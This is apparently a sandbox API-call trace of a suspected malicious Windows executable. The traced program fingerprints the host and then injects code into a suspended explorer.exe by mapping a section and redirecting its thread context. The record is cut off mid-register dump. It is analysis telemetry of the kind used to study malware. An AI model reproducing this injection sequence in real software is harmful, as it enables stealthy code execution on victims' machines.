0x2f8f80 [0126.753] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f8f60, Size=0x8) returned 0x2f8f90 [0126.755] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f8f90, Size=0xc) returned 0x2f4d80 [0126.755] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f8f80, Size=0xc) returned 0x2f4d98 [0126.755] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f8f80, Size=0x8) returned 0x2f8f90 [0126.756] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xa77198, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\cd46de9c\\cd46de9c.exe" (normalized: "c:\\program files (x86)\\cd46de9c\\cd46de9c.exe")) returned 0x2c [0126.756] GetVersion () returned 0x1db10106 [0126.756] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x302268 | out: Wow64Process=0x302268) returned 1 [0126.756] GetCurrentProcessId () returned 0x4dc [0126.756] NtOpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0xf01ff, TokenHandle=0x2bf7e0 | out: TokenHandle=0x2bf7e0*=0xb8) returned 0x0 [0126.756] GetTokenInformation (in: TokenHandle=0xb8, TokenInformationClass=0x1, TokenInformation=0x3022e8, TokenInformationLength=0x100, ReturnLength=0x2bf7f4 | out: TokenInformation=0x3022e8, ReturnLength=0x2bf7f4) returned 1 [0126.756] IsWellKnownSid (pSid=0x3022f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), WellKnownSidType=0x16) returned 0 [0126.756] RtlFreeHeap (HeapHandle=0x2e0000, Flags=0x0, BaseAddress=0x3022e8) returned 1 [0126.756] GetComputerNameExW (in: NameType=0x0, lpBuffer=0x0, nSize=0x2bf7dc | out: lpBuffer=0x0, nSize=0x2bf7dc) returned 0 [0126.756] GetLastError () returned 0xea [0126.756] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x16) returned 0x2f8cc8 [0126.757] GetComputerNameExW (in: NameType=0x0, lpBuffer=0x2f8cc8, nSize=0x2bf7dc | out: lpBuffer="XDUWTFONO", nSize=0x2bf7dc) returned 1 [0126.757] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xf4) returned 0x3022e8 [0126.757] GetCurrentHwProfileW (in: lpHwProfileInfo=0x3022e8 | out: lpHwProfileInfo=0x3022e8) returned 1 [0126.757] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x70) returned 0x3023e8 [0126.757] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x20) returned 0x2fc580 [0126.757] RtlFreeHeap (HeapHandle=0x2e0000, Flags=0x0, BaseAddress=0x2fc580) returned 1 [0126.757] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x20) returned 0x2fc580 [0126.757] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x20) returned 0x2fc5a8 [0126.757] RtlFreeHeap (HeapHandle=0x2e0000, Flags=0x0, BaseAddress=0x2fc5a8) returned 1 [0126.757] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x41) returned 0x2fdb28 [0126.757] sprintf (in: _Dest=0x2fdb28, _Format="%0.2x" | out: _Dest="cd") returned 2 [0126.758] sprintf (in: _Dest=0x2fdb2a, _Format="%0.2x" | out: _Dest="46") returned 2 [0126.758] sprintf (in: _Dest=0x2fdb2c, _Format="%0.2x" | out: _Dest="de") returned 2 [0126.758] sprintf (in: _Dest=0x2fdb2e, _Format="%0.2x" | out: _Dest="9c") returned 2 [0126.758] sprintf (in: _Dest=0x2fdb30, _Format="%0.2x" | out: _Dest="ac") returned 2 [0126.758] sprintf (in: _Dest=0x2fdb32, _Format="%0.2x" | out: _Dest="99") returned 2 [0126.758] sprintf (in: _Dest=0x2fdb34, _Format="%0.2x" | out: _Dest="fb") returned 2 [0126.758] sprintf (in: _Dest=0x2fdb36, _Format="%0.2x" | out: _Dest="0a") returned 2 [0126.758] sprintf (in: _Dest=0x2fdb38, _Format="%0.2x" | out: _Dest="8b") returned 2 [0126.758] sprintf (in: _Dest=0x2fdb3a, _Format="%0.2x" | out: _Dest="d5") returned 2 [0126.758] sprintf (in: _Dest=0x2fdb3c, _Format="%0.2x" | out: _Dest="ce") returned 2 [0126.758] sprintf (in: _Dest=0x2fdb3e, _Format="%0.2x" | out: _Dest="70") returned 2 [0126.758] sprintf (in: _Dest=0x2fdb40, _Format="%0.2x" | out: _Dest="e3") returned 2 [0126.758] sprintf (in: _Dest=0x2fdb42, _Format="%0.2x" | out: _Dest="6a") returned 2 [0126.758] sprintf (in: _Dest=0x2fdb44, _Format="%0.2x" | out: _Dest="f2") returned 2 [0126.758] sprintf (in: _Dest=0x2fdb46, _Format="%0.2x" | out: _Dest="12") returned 2 [0126.758] sprintf (in: _Dest=0x2fdb48, _Format="%0.2x" | out: _Dest="e3") returned 2 [0126.758] sprintf (in: _Dest=0x2fdb4a, _Format="%0.2x" | out: _Dest="c6") returned 2 [0126.758] sprintf (in: _Dest=0x2fdb4c, _Format="%0.2x" | out: _Dest="bd") returned 2 [0126.758] sprintf (in: _Dest=0x2fdb4e, _Format="%0.2x" | out: _Dest="2e") returned 2 [0126.758] sprintf (in: _Dest=0x2fdb50, _Format="%0.2x" | out: _Dest="1f") returned 2 [0126.758] sprintf (in: _Dest=0x2fdb52, _Format="%0.2x" | out: _Dest="13") returned 2 [0126.758] sprintf (in: _Dest=0x2fdb54, _Format="%0.2x" | out: _Dest="fe") returned 2 [0126.758] sprintf (in: _Dest=0x2fdb56, _Format="%0.2x" | out: _Dest="30") returned 2 [0126.758] sprintf (in: _Dest=0x2fdb58, _Format="%0.2x" | out: _Dest="85") returned 2 [0126.758] sprintf (in: _Dest=0x2fdb5a, _Format="%0.2x" | out: _Dest="86") returned 2 [0126.758] sprintf (in: _Dest=0x2fdb5c, _Format="%0.2x" | out: _Dest="c8") returned 2 [0126.758] sprintf (in: _Dest=0x2fdb5e, _Format="%0.2x" | out: _Dest="5e") returned 2 [0126.758] sprintf (in: _Dest=0x2fdb60, _Format="%0.2x" | out: _Dest="ff") returned 2 [0126.758] sprintf (in: _Dest=0x2fdb62, _Format="%0.2x" | out: _Dest="0a") returned 2 [0126.758] sprintf (in: _Dest=0x2fdb64, _Format="%0.2x" | out: _Dest="87") returned 2 [0126.758] sprintf (in: _Dest=0x2fdb66, _Format="%0.2x" | out: _Dest="38") returned 2 [0126.759] RtlInitAnsiString (in: DestinationString=0x2bf78c, SourceString="cd46de9cac99fb0a8bd5ce70e36af212e3c6bd2e1f13fe308586c85eff0a8738" | out: DestinationString="cd46de9cac99fb0a8bd5ce70e36af212e3c6bd2e1f13fe308586c85eff0a8738") [0126.759] RtlAnsiStringToUnicodeString (in: DestinationString=0x2bf794, SourceString="cd46de9cac99fb0a8bd5ce70e36af212e3c6bd2e1f13fe308586c85eff0a8738", AllocateDestinationString=1 | out: DestinationString="cd46de9cac99fb0a8bd5ce70e36af212e3c6bd2e1f13fe308586c85eff0a8738") returned 0x0 [0126.759] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x82) returned 0x302508 [0126.759] RtlFreeAnsiString (AnsiString="c") [0126.759] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2fd948 [0126.759] wcscpy (in: _Dest=0x2fd948, _Source="\\\\" | out: _Dest="\\\\") returned="\\\\" [0126.759] wcscat (in: _Dest=0x2fd948, _Source="XDUWTFONO" | out: _Dest="\\\\XDUWTFONO") returned="\\\\XDUWTFONO" [0126.759] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x4) returned 0x2f92a0 [0126.759] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2fd968 [0126.759] wcscpy (in: _Dest=0x2fd968, _Source="\\\\XDUWTFONO" | out: _Dest="\\\\XDUWTFONO") returned="\\\\XDUWTFONO" [0126.759] RtlFreeHeap (HeapHandle=0x2e0000, Flags=0x0, BaseAddress=0x2fd948) returned 1 [0126.759] RtlFreeHeap (HeapHandle=0x2e0000, Flags=0x0, BaseAddress=0x2fc580) returned 1 [0126.759] RtlFreeHeap (HeapHandle=0x2e0000, Flags=0x0, BaseAddress=0x3023e8) returned 1 [0126.759] RtlFreeHeap (HeapHandle=0x2e0000, Flags=0x0, BaseAddress=0x3022e8) returned 1 [0126.759] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x12) returned 0x2fd948 [0126.759] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x20a) returned 0x3044f0 [0126.759] GetSystemDirectoryW (in: lpBuffer=0x3044f0, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0126.759] wcscat (in: _Dest=0x3044f0, _Source="\\" | out: _Dest="C:\\Windows\\system32\\") returned="C:\\Windows\\system32\\" [0126.759] wcscat (in: _Dest=0x3044f0, _Source="explorer.exe" | out: _Dest="C:\\Windows\\system32\\explorer.exe") returned="C:\\Windows\\system32\\explorer.exe" [0126.759] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x28) returned 0x2fba88 [0126.759] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\explorer.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x4000022, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x2bf770*(cb=0x0, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x2bf818 | out: lpCommandLine=0x0, lpProcessInformation=0x2bf818*(hProcess=0xbc, hThread=0xc0, dwProcessId=0x674, dwThreadId=0x678)) returned 1 [0127.726] WaitForDebugEvent (in: lpDebugEvent=0x2bf7b4, dwMilliseconds=0xffffffff | out: lpDebugEvent=0x2bf7b4) returned 1 [0127.742] NtCreateSection (in: SectionHandle=0x2bf47c, DesiredAccess=0xf001f, ObjectAttributes=0x0, MaximumSize=0x2bf45c, SectionPageProtection=0x40, AllocationAttributes=0x8000000, FileHandle=0x0 | out: SectionHandle=0x2bf47c*=0xd8) returned 0x0 [0127.742] NtMapViewOfSection (in: SectionHandle=0xd8, ProcessHandle=0xffffffff, BaseAddress=0x2bf480*=0x0, ZeroBits=0x0, CommitSize=0x1b000, SectionOffset=0x0, ViewSize=0x2bf470*=0x0, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x4 | out: BaseAddress=0x2bf480*=0x60000, SectionOffset=0x0, ViewSize=0x2bf470*=0x1b000) returned 0x0 [0127.744] NtMapViewOfSection (in: SectionHandle=0xd8, ProcessHandle=0xbc, BaseAddress=0x2bf478*=0x0, ZeroBits=0x0, CommitSize=0x1b000, SectionOffset=0x0, ViewSize=0x2bf470*=0x1b000, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x40 | out: BaseAddress=0x2bf478*=0x70000, SectionOffset=0x0, ViewSize=0x2bf470*=0x1b000) returned 0x0 [0127.745] NtUnmapViewOfSection (ProcessHandle=0xffffffff, BaseAddress=0x60000) returned 0x0 [0127.746] NtClose (Handle=0xd8) returned 0x0 [0127.746] NtGetContextThread (in: ThreadHandle=0xc0, Context=0x2bf4a4 | out: Context=0x2bf4a4*(ContextFlags=0x1003f, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x27f, FloatSave.StatusWord=0x0, FloatSave.TagWord=0xffff, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x2b, SegFs=0x53, SegEs=0x2b, SegDs=0x2b, Edi=0x0, Esi=0x0, Ebx=0x7efde000, Edx=0x0, Ecx=0x0, Eax=0x100efa, Ebp=0x0, Eip=0x778701c4, SegCs=0x23, EFlags=0x202, Esp=0x47fb20, SegSs=0x2b, ExtendedRegisters=([0]=0x7f, [1]=0x2, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x80, [25]=0x1f, [26]=0x0, [27]=0x0, [28]=0xff, [29]=0xff, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 0x0 [0127.746] NtSetContextThread (ThreadHandle=0xc0, Context=0x2bf4a4*(ContextFlags=0x1003f, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x27f, FloatSave.StatusWord=0x0, FloatSave.TagWord=0xffff, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x2b, SegFs=0x53, SegEs=0x2b, SegDs=0x2b, Edi=0x0, Esi=0x0, Ebx=0x7efde000, Edx=0x0, Ecx=0x0, Eax=0x100efa, Ebp=0x0, Eip=0x834d0, SegCs=0x23, EFlags=0x202, Esp=0x47fb20, SegSs=0x2b, ExtendedRegisters=([0]=0x7f, [1]=0x2, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x80, [25]=0x1f, [26]=0x0, [27]=0x0, [28]=0xff, [29]=0xff, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, 